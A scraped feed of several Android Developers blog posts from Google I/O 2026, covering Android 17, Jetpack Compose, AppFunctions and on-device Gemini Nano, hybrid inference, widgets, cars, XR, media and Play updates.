  Generative AI enables you to create apps that are more intelligent, personalized, and agentic than ever before. This year, we introduced the latest advancements in on-device intelligence with a preview of Gemini Nano 4 for tasks like data extraction and summarization. We also expanded cloud capabilities via Firebase AI Logic, allowing developers to leverage Gemini models with robust grounding (including URL, Maps, and web search) to build smarter, more capable assistants. Furthermore, we unveiled our hybrid inference approach and the new <a href="https://goo.gle/ADK_IO26">Agent Development Kit (ADK) for Android</a>, alongside communication protocols like AG-UI and A2UI that simplify the creation of autonomous, agentic experiences. To start integrating these powerful features, explore the <a href="https://developer.android.com/ai">developer documentation</a>, and watch the technical deep dive session where we showcase all these technologies.

  <h3><strong><span>6: Experiment with AppFunctions today</span></strong></h3>
  AppFunctions is an <a href="https://developer.android.com/reference/android/app/appfunctions/package-summary">Android platform API</a> with an accompanying <a href="https://developer.android.com/jetpack/androidx/releases/appfunctions">Jetpack library</a> to simplify building Android MCP integrations. It empowers your apps to behave like on device MCP servers, contributing functions that act as tools for use by agents and assistants. AppFunctions integration with Gemini is currently in a private preview with trusted testers, and you can begin preparing your apps already. You can sign up for the <a href="http://goo.gle/eap-af">Early Access Program</a> and start experimenting using the <a href="http://d.android.com/ai/appfunctions">API guidance</a>, <a href="https://github.com/android/appfunctions">sample</a>, and <a href="https://github.com/android/skills/blob/main/device-ai/appfunctions/SKILL.md">skill</a> today.

  <h2><strong><span>The Future is Adaptive</span></strong></h2>

  <h3><strong><span>7: Android is now Compose First; Views are now in maintenance mode.</span></strong></h3>
  Compose is our standard for UI development, and we are moving to a Compose-first approach for all future guidance and libraries. Building on five years of evolution, the latest releases deliver a more mature toolkit, from the highly customizable Styles API to refined shared element transitions and enhanced input support. These updates allow you to build beautiful, adaptive apps with less code and better performance. Learn more about what Compose-first means for Android Development in <a href="http://android-developers.googleblog.com/2026/05/android-ui-development-is-compose-first.html">our blog post</a>. <br><br></div><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgq9kh5gxOfSdY2w9ZeKdWropXpqP7rj4KtodIZA5B_j7ujQu-blrsQKKC0lI4VEsEycpLEwsZeJhHaNOY1Xe9DrIHDwVszYfQN0GQlwxz8xoVfg1oiIr9zNlUyqqdCl2M7pyHoHgVvC7omKRthmXNaO3GE5Q15XeZ1ALiugszd8qHxpWuHo2Eh79zYW4M/w640-h416/image5.png"></div><div><div><i>Build Android UI with Compose</i></div><h3><strong><span>8: Building seamless Android experiences across devices with Jetpack Compose</span></strong></h3><div>The Android ecosystem is now <a href="https://goo.gle/AdaptiveApps_IO26">Adaptive by Default</a>, moving fluidly across phones, foldables, tablets, cars, XR, and expanding usages with <a href="https://developer.android.com/googlebook">Googlebook</a> and connected displays. With over 580 million large-screen devices, and users on multiple devices spending up to 14x more on apps, the investment in adaptive design presents a massive opportunity. <a href="https://developer.android.com/compose">Jetpack Compose</a> is the definitive engine for this transition, offering core tools like our latest <a href="http://goo.gle/nav3">Jetpack Navigation 3</a> release, new experimental <a href="https://developer.android.com/develop/ui/compose/layouts/adaptive/grid">Grid</a> and <a href="https://developer.android.com/develop/ui/compose/layouts/adaptive/flexbox">FlexBox</a> layouts, enhanced non-touch input support, and <a href="https://developer.android.com/media/camera/camerax">CameraX</a> for correct camera previews across any window size. Furthermore, new <a href="https://developer.android.com/tools/agents/android-skills">skills</a> in Android Studio make updating your existing app to adopt these adaptive patterns easier than ever.

  <img src="https://blogger.googleusercontent.com/img/a/AVvXsEi3DD3G6IUrmOwYh7bMq0uieBvGL8li2W48YnUfQfa3ZXy2kD7QvPorNfAyCSmFlBs4q0csXDqmZjhyGf8UHFE2pUNjvqxLaaJhmm6QpSBumq2YkMHI1jyiTNfh5WQhEEY9hP6vWhcbbwflygdTwYzoIdnuIqoht0S6iGKk4pVCnxL2wVXYBMBlcdeneD8"><i>Notability’s Android debut sets a new standard for premium productivity apps. Built with Jetpack Compose, Navigation 3, and Kotlin Multiplatform, it delivers an intuitive, adaptive experience across devices.</i></div><h3><strong><span>9: Create seamless experiences for Googlebook</span></strong></h3>
  Last week we announced <a href="https://developer.android.com/googlebook">Googlebook</a>, a high-performance laptop that provides a large-screen canvas for your existing apps. Building with adaptive principles today helps ensure your app will work on Googlebook. Get started by reviewing relevant <a href="https://developer.android.com/design/ui/desktop">design guidance</a> and <a href="https://developer.android.com/docs/quality-guidelines/adaptive-app-quality/experiences/desktop">developer guidelines</a> for desktop experiences. Try out the new Desktop Emulator available in the Android Studio Canary to to test your apps for this form factor today.</div><div><br></div><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtH3cjiXICi8dNCtQTDV9PTyjt4wPQBl1xA9XGKGU6FmqLRuBm9YyH7HNQsydD6H6F2GIPw2TdUsFyeu2xMFUO2Jk36k5QXjuWNdm_VE8AQftq2w2m0RPFyYfyZjTppSOjzuOEpJMzF08t9V0YZr-xI7mu31uvcRItugwvVxPUBouSmOXt1MsqbB1WPC0/w640-h360/image3.png"></div><div><div><i>New Desktop Android Emulator</i></div><h3><strong><span>10: Unified widget development experience with Jetpack Glance</span></strong></h3>
  Android 17 marks a shift toward a single, Compose-based development model for all widgets. By unifying the experience across mobile, Wear OS, and cars through Jetpack Glance, you can soon scale UI components across the ecosystem with a familiar workflow. <br><br>The breakthrough this year is the integration of RemoteCompose. On mobile and cars, it powers high-fidelity animations, while on Wear OS, it allows Wear Widgets (formerly Tiles) to render complex UI logic natively on remote surfaces. This ensures peak performance on low-power hardware while allowing a cohesive user journey—like checking a flight status on your car dashboard and seeing gate change updates on your wrist.</div><div><br></div><div><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiA5s4g4hCW89qdeC2oqrTtxh6q7t9q3-wkOSt3tfVzCT3vhLUd1GMYJrhCjK04O2jyxBGl0R2pclnRq3Kb0f0Td-hV9aukKvZQTfGpGJS6GLK0MqUkpVW_0qiNC1eMGe6NPPhlCHrnQWFYhmbdSzpDnUHh5tjvpmUzZOvY2w_dX1LBnpNctSRmeahXUl4/w640-h320/blog_widgets.gif"></div><div><i>Four widgets are shown cycling through in the Android Auto interface. A clock, a contact card, Google Home favorites and a photo.</i></div><div><i><br></i></div><div><strong><span>11: Expand your reach on the road with Android for Cars</span></strong><br>To help you expand your reach when you build in-car experiences, we're making it easier to build once and deliver your apps to Android Auto and Android Automotive OS. With the latest releases of the Car App Library, you can build customized, distraction-optimized <a href="https://developer.android.com/training/cars/apps/media">templated media apps</a> for both platforms. We're introducing new <a href="https://developer.android.com/design/ui/cars/guides/components/overview">components</a> and template capabilities to give you increased flexibility and more options for laying out content. Parked experiences are expanding too, with immersive video playback coming to Android Auto for phones running Android 17. You can easily adapt your video apps for these parked experiences; <a href="https://docs.google.com/forms/d/e/1FAIpQLSf0z4Nfw8wrloVhlgHDpLgdkg4WXsFj9ni5c1pw0qTvJ3Q4fQ/viewform">apply now to the early access program</a> to publish in these beta categories and learn more about the latest updates in our <a href="http://android-developers.googleblog.com/2026/05/android-for-cars-unifying-platforms-premium-experiences.html">blog</a>.<h3><strong><span>12: Accelerate your development with Android XR Developer Preview 4</span></strong></h3>Inspired by the innovative experiences you’ve built for the platform, we’re continuing to mature our tools with <a href="https://goo.gle/XRSDK_IO26">Developer Preview 4 of the Android XR SDK</a>. A key milestone in this journey is the transition of our core libraries, XR Runtime, Jetpack SceneCore, and ARCore for Jetpack XR, moving to Beta soon to provide a more stable and performant foundation. We are also accelerating hardware access through the <a href="https://goo.gle/Catalyst_IO26">Android XR Developer Catalyst Program</a>, where you can apply for XREAL’s Project Aura, audio glasses, or display glasses developer kits. Watch The latest in Android XR session or <a href="https://goo.gle/XRSDK_IO26">read our blog</a> to see how these updates help you build experiences across the ecosystem.</div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyjbgGH7RwGkOkQLoXeLd88Vo7cXRjHLBSRokBWkzvYQUrqqbfrTXukM1u_SuGq0-AoXRPoGABpCOF-HMad4-aoNvXjTVyNXgGpbffTlSQMbTaXJva1c2GiUBx1fhC4fCCd0XO9XFzKNzs6edNqo0RAx-p2ZNXy0l-StJh7AxhyphenhyphenrXi-lqe-jXL0n8oprs/w640-h360/Aura%20Geospatial%20Tour%20Demo%20-%20Draft%2001%20(1).gif"></div><i><div><i>Early preview of the Geospatial API  in ARCore for Jetpack XR, enabling high-precision anchoring of digital content to real-world locations.</i></div></i><h3><strong><span>13: Android is your new home for professional-grade media experiences</span></strong></h3>
  Android 17 streamlines the entire media lifecycle with a production-ready toolkit. High-fidelity capture is now simplified with the CameraXViewfinder Composable, which handles complex scaling and responsiveness on foldables and tablets. For post-production, the new Media3 AI Effects library provides a single interface for premium features like Magic Eraser and Studio Sound, automatically optimizing for the device's hardware. <br><br>The pipeline is completed by CodecDB, offering chipset-specific encoding recommendations to eliminate export noise, and a new Scrubbing Mode in ExoPlayer for ultra-smooth seeking. Whether you’re compositing multi-asset edits with Media3 Transformer or using the streamlined CastPlayer API, these updates ensure a professional-grade experience with significantly less development overhead.</div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXXvjrWhhRUXdYJyhuu-Vnf0UP2jKcYhAvUggZJi10kndrixZdx4cD8HEhrWVmavlxAUT5N025Fx1kgOLJP5w83LDUSR3E9YzfIJUuZ3WBedFSBtI_oLgIcxSOYg-s53obwX_8HtYqfxSaz95LVzSiMAdrrwgL4T6TVETwtxxkZV2mSkkAfvYA681zNlc/w640-h542/supercharge%20(1).gif"></div><div class="separator"><i>Low Light Boost and Magic Eraser in action</i></div><h3><strong><span>14: Increase app discovery and engagement on Google TV</span></strong></h3>
  Pointer remotes, which enable motion-controlled input, will be a future way for users to interact with Google TV as it unlocks faster user navigation. App developers can start <a href="https://developer.android.com/training/tv/get-started/hardware#no-touchscreen">declaring support for pointing input</a> to ensure their apps are discoverable on future TVs with pointer remotes. Additionally, the Engage SDK, formerly known as the Video Discovery API, optimizes Resumption, Entitlements, and Recommendations across all Google TV form factors to boost app discovery and engagement. It’s a great time to start onboarding the Engage SDK now, since the legacy Watch Next API, which has been powering your continue watching 1.0 experience, will lose support in the 2nd half of 2027. Get all the details in our <a href="http://android-developers.googleblog.com/2026/05/increase-google-tv-app-discovery.html">blog</a>.</div><div><h3><strong><span>15: Performance: the foundation of a great app experience</span></strong></h3>To help developers navigate memory limits in Android 17, we've launched a suite of optimization tools. The <a href="https://developer.android.com/r8-analyzer">R8 Configuration Analyzer</a> identifies keep rules that are bloating your binary, while <a href="https://developer.android.com/topic/performance/tracing/profiling-manager/how-to-capture">ProfilingManager</a> and the integrated LeakCanary in Android Studio streamline memory leak detection. Furthermore, the new <a href="https://developer.android.com/android-performance-analyzer">Android Performance Analyzer</a> offers advanced AI integration for complex trace analysis and automated SQL query generation to pinpoint performance bottlenecks.     <h2><strong><span>And The Latest on Driving Business Growth </span></strong></h2>

  <h3><strong><span>16: What’s new in Google Play</span></strong></h3>Today's <a href="https://goo.gle/play-io26">updates from Google Play</a> help expand your reach and scale your business with less complexity. We’re redefining Play Store discovery with an immersive, short-form video format called Play Shorts, while expanding your audience beyond the store with app discovery in the Gemini app on Android and web. Plus, we’re introducing powerful new capabilities like agentic catalog management for seamless bulk price and SKU updates, and using Gemini models to enable Play Console  to pre-populate store listings from imported documents—making global localization effortless. </div><div><br><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOB1wGZNYGPgY0ED70X7Dtl2KiFk8kRH4fv3HrXXTWX0-xKkN4Em0mi8QAB0g2w_-4SNcTR4fJazpiQ7XI6-XKeyQniFhULKWNmV8YvyWMuQ9tosvT5ixZ0FOye27DI90R5Tra1eWX3FCX7OrWkgzhvhCD6vtfD8_6-FMfMWDvXoVv3zSTauZwraDGsM4/w640-h360/IO26_BlogInLine_App-discovery-in-Gemini_1920x1080_1605.gif"></div><div><i>Gemini will provide users with app suggestions during a search</i></div>

  <h3><strong><span>17: And of course, Android 17</span></strong></h3>
  Android 17 includes new performance &amp; system architecture improvements (in addition to app memory limits) like a lock-free MessageQueue and a GC with more frequent, less intensive young-generation collections to ensure system-wide stability and smoother UIs. The new <a href="https://developer.android.com/about/versions/17/features/contact-picker">contact picker</a> and <a href="https://developer.android.com/reference/android/content/Intent#ACTION_OPEN_EYE_DROPPER">eyedropper API</a> help minimize the use of sensitive permissions and unnecessary access to user data. <br><br>Review <a href="https://developer.android.com/about/versions/17/behavior-changes-all">the behavior changes</a> to make sure your app is ready for Android 17, including <a href="https://developer.android.com/about/versions/17/behavior-changes-all#bg-audio">background audio hardening</a> and <a href="https://developer.android.com/about/versions/17/behavior-changes-all#sms-otp-all-apps">SMS OTP protection</a>. Get ready to <a href="https://developer.android.com/about/versions/17/behavior-changes-17">target Android 17</a> (API 37) with changes such as mandatory large-screen resizability, certificate transparency by default, and restricted local network access. You can start testing today by enrolling your device <a href="https://android-developers.googleblog.com/2026/04/the-fourth-beta-of-android-17.html">in the Beta</a> or using the latest 17.0 emulator images. <br><br>One more thing. the third beta of our Android 17 quarterly platform release (QPR1) just came out, and it contains a minor SDK release to support a few features that just couldn't wait for QPR2.

  <h2><strong><span>Check out all of the Android &amp; Play Content at Google I/O </span></strong></h2>
  <p><span face="sans-serif">This was just a preview of some of the updates for Android developers at Google I/O. Tune into <a href="https://io.google/2026/explore/pa-keynote-5">What’s New in Android</a> for the latest news and announcements and <a href="https://io.google/2026/">follow Google I/O</a> for much more over the following week!</span></p></div>]]></content:encoded>
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<title><![CDATA[Top AI on Android updates for building intelligent experiences from Google I/O ‘26]]></title>
<description><![CDATA[Posted by Jingyu Shi, Staff Developer Relations EngineerAt Google I/O 2026, we introduced Android’s shift from an operating system to an intelligence system. We also demonstrated how you can build intelligent experiences natively with the system and bring the power of Google’s AI into your apps. ...]]></description>
<link>https://tsecurity.de/de/3693510/android-tipps/top-ai-on-android-updates-for-building-intelligent-experiences-from-google-io-26/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693510/android-tipps/top-ai-on-android-updates-for-building-intelligent-experiences-from-google-io-26/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:43 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqtr_NVZaXiVnywBK8bKIamZw4oM3DFopMeWXl_DsHJktlRpmuCkOCQEkc85z-xJ8id7DT8ggl6OopYCndxxYb8kA2LIttV3DlL1Mzmt5OffK_Lyq1q_mxg4RdUjQ23rOyNY5N3wopBtBODH-HQsPRqBc8cS8Kw0Azhz14Jn8EjEdKQ3znXGLRVUpM_-g/s4097/Blog_Meta@2x.png">



<i>Posted by Jingyu Shi, Staff Developer Relations Engineer</i><div><i><br></i><div><name content="IMG" twitter:image=""><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnWqvWK7oNvOOsTjwsLlEtnmvh7HwduYCahIBBtGUCUZQmQ0pfEWvk3hH0xlrnhyi5oZzY_ZU22jLYl-IA00DVLLi0No_oYWTXYZSk95GLU5P-IirCS74fx2MAUV5mKO_p_6SvFiiNmFnuUoet0QHyMjc8TeLE4Ie7HE3wcFfNeFzkN66IDCkNx1QYQiI/s8419/BLOG%20HERO_BLOGGER@2x.png"><img border="0" data-original-height="2507" data-original-width="8419" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnWqvWK7oNvOOsTjwsLlEtnmvh7HwduYCahIBBtGUCUZQmQ0pfEWvk3hH0xlrnhyi5oZzY_ZU22jLYl-IA00DVLLi0No_oYWTXYZSk95GLU5P-IirCS74fx2MAUV5mKO_p_6SvFiiNmFnuUoet0QHyMjc8TeLE4Ie7HE3wcFfNeFzkN66IDCkNx1QYQiI/s16000/BLOG%20HERO_BLOGGER@2x.png"></a></div><br><i><br></i><p></p><p><i></i></p><br></name><div>At Google I/O 2026, we introduced Android’s shift from an operating system to an intelligence system. We also demonstrated how you can build intelligent experiences natively with the system and bring the power of Google’s AI into your apps. If you missed these updates, check out our quick recap video here: </div><div><div><name content="IMG" twitter:image=""><br><div class="separator">
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  <br></div></name><h4><name content="IMG" twitter:image=""><b><span>1. Putting your apps at the center of the intelligence system</span></b></name></h4><name content="IMG" twitter:image=""><div>The Android OS already enables agents like <a href="https://www.android.com/gemini-intelligence/?utm_source=blog.google&amp;utm_medium=owned&amp;utm_campaign=next">Gemini</a> to complete task automation, where it can navigate an app on the users behalf. </div><div><br></div><div><a href="https://developer.android.com/ai/appfunctions">AppFunctions</a> (Android MCP) provides you with more control over how your app integrates with the intelligence system. This new platform API and Jetpack library are currently available in experimental preview. </div><p></p><ul><li><name content="IMG" twitter:image=""><b>Android MCP:</b> AppFunctions allows your application to act as an on-device Model Context Protocol (MCP) server. It means you seamlessly share your app's tools, services and data to the system and agents.</name></li></ul><p></p><p></p><ul><li><name content="IMG" twitter:image=""><b>Streamlined Development: </b>You can leverage the new <a href="https://github.com/android/skills/tree/main/device-ai/appfunctions">skill</a> to easily generate AppFunctions within your codebase.  </name></li></ul><p></p><p></p><ul><li><name content="IMG" twitter:image=""><b>Exploration and Testing:</b> We’ve released a new <a href="https://github.com/android/appfunctions/releases">test agent</a> that allows you to experiment and debug your AppFunctions in a simulated agent environment. </name></li></ul><span><div align="center" dir="ltr"><table><colgroup><col></colgroup><tbody><tr><td><div><span face='"Google Sans Text", sans-serif'>Early Access Program</span><span face='"Google Sans Text", sans-serif'>: Want to be among the first apps to deploy app functions in production? </span><a href="https://docs.google.com/forms/d/e/1FAIpQLScEoIsgzE-LbgRrYcQMc-Lit_5VlKRA0iWw7Pvg1brIc8wXAw/viewform"><span face='"Google Sans Text", sans-serif'>Join</span></a><span face='"Google Sans Text", sans-serif'> our early access program today!</span></div></td></tr></tbody></table></div></span></name></div><div><br></div><div>To see it in action, check out the live demo showcased during the <i>What’s New</i> in Android presentation.</div><div><br></div><div class="separator">
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  <div><div><span><br></span></div><h4><b> <span>2. On-Device Power with Gemini Nano 4 Preview</span></b></h4><br><div>Last month, we launched <a href="https://android-developers.googleblog.com/2026/04/gemma-4-new-standard-for-local-agentic-intelligence.html">Gemma 4</a>, our state-of-the-art open models. You can already preview and prototype with the next generation of Gemini Nano (Nano 4) models with the <a href="https://developers.google.com/ml-kit/genai/aicore-dev-preview">AIcore developer preview</a>. To make productionizing with Gemini Nano more reliable and performant, we are adding a few new features in <b>ML Kit GenAI APIs</b>: </div><br><p></p><p></p><ul><li><b>Prototype to Production: </b>Transition from prototyping in the AICore Developer Preview to building production-ready apps using the ML Kit GenAI <a href="https://developers.google.com/ml-kit/genai/prompt/android/get-started">Prompt API</a> to leverage Gemini Nano 4 that’s launching in flagship devices later this year.</li></ul><p></p><p></p><p></p><ul><li><b>Structured Output:</b> The upcoming Structured Output API will allow you to define object classes to be returned as outputs from Prompt API, ensuring reliable outputs in productionizing your intelligent features. </li></ul><p></p><p></p><ul><li><b><a href="https://developers.google.com/ml-kit/genai/prompt/android/prefix-caching">Prefix Caching</a>:</b> It optimizes your on-device inference performance with the prompt API. The new Prefix caching reduces inference time by storing and reusing the intermediate LLM state of processing a shared and recurring part of the prompt.</li></ul><p></p><div><b><br></b></div><div>For highly customized or niche use cases, you can also use LiteRT-LM to <a href="https://youtu.be/boy-UjB8hpA?si=MCPddRD7eblz8ICr">bring your own</a> fine-tuned small language model to Android.</div></div><br><div class="separator">
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</div><div class="separator"><br></div><div class="separator"><br></div><b><div><b><span>3. Hybrid Inference &amp; Agents</span></b></div></b><div><div><br></div><div>To help you build more advanced AI features like hybrid inference and explore building in-app agents, we’ve released new APIs, framework and guidances:</div><p></p><p></p><ul><li><b><a href="https://android-developers.googleblog.com/2026/04/Hybrid-inference-and-new-AI-models-are-coming-to-Android.html">Firebase AI Logic Hybrid Inference</a>: </b>This new API provides the simple routing capability between on-device models and powerful cloud infrastructure. You can set explicit orchestration modes, such as <code>PREFER_ON_DEVICE</code>, <code>PREFER_CLOUD</code>, <code>ONLY_ON_DEVICE</code>, or <code>ONLY_CLOUD</code>, based on your need.</li></ul><p></p><p></p><p></p><ul><li><b>A2UI Jetpack Compose Renderer:</b> The new A2UI library allows your agents to "speak UI". With the upcoming Jetpack Compose Renderer, you can automatically render these A2UI messages as native UI components.</li></ul><p></p><p></p><ul><li><b><a href="https://developers.googleblog.com/adk-kotlin-android-building-ai-agents/">ADK for Android</a>:</b> The first version of ADK for Android is available for experimentation. It allows you to build multi-agent workflows across both on-device and Cloud models while managing orchestration, context handling and sessions between agents.</li></ul><div><br></div><div>From building with on-device models, exploring hybrid inference to building agents, you can see them in action in this talk: </div></div><div> <br><p></p><div class="separator">
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  </div><div class="separator"><br></div><div class="separator"><h3>Start Building Today</h3><div class="separator"><div class="separator"><div class="separator">Whether you are experimenting with AppFunctions to prepare for the intelligence system, or looking to bring the power of Google’s AI within your own app, we’ve got you covered. Dive deeper into the code snippets, samples and comprehensive developer guides on the Android AI <a href="https://developer.android.com/ai">hub</a>. For the full breakdown of what’s new, check out the official <b>AI on Android at Google I/O 2026</b> <a href="https://www.youtube.com/playlist?list=PLWz5rJ2EKKc-GL3584TkxUyoPfzPkB1mV">playlist</a>.</div><div class="separator"><br></div><div class="separator">We are excited to see what you build! </div><div><br></div></div><div><br></div></div></div></div></div></div></div></div>]]></content:encoded>
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<title><![CDATA[Building Premium Android Experiences at Google I/O ‘26]]></title>
<description><![CDATA[Posted by Ataul Munim, Android Developer Relations Engineer



  
    
  



  A truly differentiated Android experience is about delivering premium delight wherever your users are. At Google I/O ‘26, we showcased how the latest advancements in the Android ecosystem can help you elevate your app'...]]></description>
<link>https://tsecurity.de/de/3693509/android-tipps/building-premium-android-experiences-at-google-io-26/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693509/android-tipps/building-premium-android-experiences-at-google-io-26/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:42 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKGsnLX5Gwc9xouq7Q32ltvbL7xW_d4jnCXtoEFr7emB2wzqlZEuXM8FXe22ZPSguMX-nOrxAPYja6AYBZWxF-lKJYxw09D3f2aMyjxsSi5jinnDBjJPOIFDyqVhuJC2SjOqKHLAmstGg1nhyphenhyphenJGYfp3m71TPL_i3xFAUm6PKp3uo5WVytjoRwTIoNmMVQ/s4097/MM_Differentiated%20Experiences_Meta.png">

<div>
  <div class="separator"><em>Posted by Ataul Munim, Android Developer Relations Engineer</em></div>
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  <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjimB7lZHnz1Nqt-CPhoIzMWWup9qcJd2B3wzfmG2kX-4HwtnEfrSrp9J2e7aINQrh8SaPd_mP7DvY6nQiP_K2nEju5nOCwbTan-oVeZ8rmoW1R5CvErSIFXPeuIXS7LsB8TnZZee462-ygL5IbOZ2m_C3rAcXEiv08HrPjPrku0oB-T70JyXM6lmgxzmg/s4209/MM_Differentiated-Experiences_Blog%20(1).png">
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<div class="separator">
  A truly differentiated Android experience is about delivering premium delight wherever your users are. At Google I/O ‘26, we showcased how the latest advancements in the Android ecosystem can help you elevate your app's quality while maximizing development efficiency.
</div>

<div>
  <p>To help you build apps that stand out, we're diving into the key tools and libraries designed to optimize your core performance, extend the surfaces of your app to other devices, and streamline how your app handles high-quality media. </p>
  <p>Here is a recap of the essential updates and sessions you need to know to deliver a next-level experience across form factors!</p>
</div>

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<h3>Maximize app performance and ROI with the R8 Configuration Analyzer</h3>
<p>A premium experience is only as good as its foundation, and a performant foundation is what allows your app to scale across the Android ecosystem. This is especially true with the release of Android 17, which introduces conservative, device RAM-based app memory limits to target extreme memory leaks and outliers before they cause system-wide instability. To stay below these new system thresholds and prevent your app from being terminated, having a lean footprint is no longer optional: it’s a critical requirement.</p>
<p>This year, we’re making it easier to build highly optimized, fast apps by introducing the <a href="https://developer.android.com/topic/performance/app-optimization/r8-configuration-analyzer" target="_blank">R8 Configuration Analyzer</a> in Android Studio. R8 is your most powerful tool for improving app performance, but its effectiveness is often limited by overly broad "keep rules" that prevent the compiler from stripping away unused code. The new Configuration Analyzer provides optimization, obfuscation, and shrinking scores, allowing you to identify specific rules that are preventing the benefits of R8 optimization.</p>
<p>By optimizing their R8 configurations, developers at Monzo achieved a 30% improvement in cold starts and a 35% reduction in ANRs. Smaller, faster code isn't just about efficiency; it's about ensuring your app has the memory headroom to deliver delight on every form factor, from the phone to the car.</p>

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<h3>Extend your reach with a unified approach to Widgets on Phones, Watches and Cars</h3>
<p>User interaction is shifting toward quick, glanceable moments—short bursts of information that keep users connected without needing to open the full app. To help you increase the reach of your app content, we are unifying the development experience across the Android ecosystem with Jetpack Glance. By using a consistent, Compose-based model, you can elevate the content most important to your users straight to the phone’s home screen, Wear Widgets (previously Tiles!), and cars with a familiar workflow.</p>
<p>In order to help users engage with your content and features, even outside your app, we are making widgets more expressive and adaptive with RemoteCompose. On Wear OS, RemoteCompose allows you to use the Compose tools you’re already comfortable with to define UI logic that renders natively on remote surfaces, ensuring that your glanceable experiences remain highly performant and responsive even on resource-constrained hardware. On mobile and cars, RemoteCompose is used as a new framework giving Widgets new expressive capabilities.</p>
<p>You can use Jetpack Glance (together with RemoteCompose on Wear) to deliver a cohesive user journey. Whether it’s viewing flight status on the car dashboard, checking a gate change on a watch, or managing a boarding pass from a phone widget, this shared approach maximizes your app’s presence while keeping your development effort focused and efficient.</p>

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<div>
  <h3>Supercharge your media pipeline with a complete, production-ready toolkit</h3>
  <div>Android has become a world-class home for the entire media lifecycle, and we are simplifying the journey from the first capture to the final playback. By leveraging Jetpack CameraX and Media3, you can build professional-grade experiences that feel native across the entire ecosystem. </div>
  <p>It starts with high-fidelity capture using the CameraXViewfinder Composable, which ensures your preview remains perfectly scaled and responsive on any form factor, including foldables and tablets. Use this to build adaptive capture experiences like a picture-in-picture view for multi-tasking, or that take advantage of modern features like high-frame-rate or slow-motion capture with CameraX v1.5.<br></p>
  <p>The new Media3 AI Effects library will provide a unified interface for premium features like Image &amp; Video Enhance, Magic Eraser, and Studio Sound. This allows you to focus on the creative intent while Media3 handles the heavy lifting of choosing the most efficient and reliable path for the device. Then, use the latest improvements in multi-asset editing with Media3 Transformer to composite your edited videos together!</p>
  <p>Complete the pipeline with tools designed for professional-grade export and viewing, including:</p>
  <ul>
    <li>CodecDB, which offers data-driven encoding recommendations tailored to specific chipsets, ensuring your exported videos maintain high visual quality with minimal noise or blurriness</li>
    <li>Scrubbing Mode in ExoPlayer to provide the buttery-smooth seeking experience users expect from premium media apps</li>
    <li>Enhanced Cast support with the new CastPlayer API in Media3</li>
  </ul>
  <p>By unifying these technical pillars, you can build a cohesive, high-performance media journey that delivers both delight for your users and high ROI for your development team.</p>
</div>

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<p>For more details, check out the <i>premium</i> Android experience <a href="https://youtube.com/playlist?list=PLWz5rJ2EKKc8lSdmWQ_fSpV9yEGRvEL6S&amp;si=H6-8-AbtEyTqSxeY" target="_blank">YouTube playlist</a>.</p>]]></content:encoded>
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<title><![CDATA[Prioritizing Memory Efficiency: Essential Steps for Android 17]]></title>
<description><![CDATA[Posted by Alice Yuan, Developer Relations Engineer, Ajesh Pai, Developer Relations Engineer, and Fung Lam, Developer Relations Engineer



    
        
    



    While app performance is often equated with a smooth UI and fast start times, memory serves as the silent foundation upon which thes...]]></description>
<link>https://tsecurity.de/de/3693508/android-tipps/prioritizing-memory-efficiency-essential-steps-for-android-17/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693508/android-tipps/prioritizing-memory-efficiency-essential-steps-for-android-17/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:41 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCIAoJpwUITPS5C3_eTksMsaslwqPk7SIEQHkwEkGv8572ccdIKcdv6kNC1BOSJPAZTgX5m3liMMv4zdK58e5dWRhUfo39uas23LuhEWf13TFnDTdw-Z5mWn4JarSnC8yCET8Sw15zSF-jQ5zwALriacGK6IjAGxNg61sFtSxzndjvqXxZtJt4qxuzd9A/s2048/Engineering-Memory-Blog-Meta-3.png">

<div class="separator">
    <em>Posted by Alice Yuan, Developer Relations Engineer, Ajesh Pai, Developer Relations Engineer, and Fung Lam, Developer Relations Engineer</em>
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<div class="separator">
    <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhanYZz4QpaDuwP7y_ZVGCUh6TpdQxS65pBcYr-Qkawd9YFS587tnIUPnqDROlxIXzgdz6GGxluR3LzH8ZabQPWz382FDEOEDpK3GxUFywn0A54JXFtUwDPaeI0JnFhEl-6NRrcjKeFPMLozNQv_An9OcWEUA-rmXfOhWvIKRrptdblGEZHERD0P-ynFcc/s4209/Engineering-Memory-Blog-3.png">
        <img border="0" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhanYZz4QpaDuwP7y_ZVGCUh6TpdQxS65pBcYr-Qkawd9YFS587tnIUPnqDROlxIXzgdz6GGxluR3LzH8ZabQPWz382FDEOEDpK3GxUFywn0A54JXFtUwDPaeI0JnFhEl-6NRrcjKeFPMLozNQv_An9OcWEUA-rmXfOhWvIKRrptdblGEZHERD0P-ynFcc/s16000/Engineering-Memory-Blog-3.png">
    </a>
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<p>
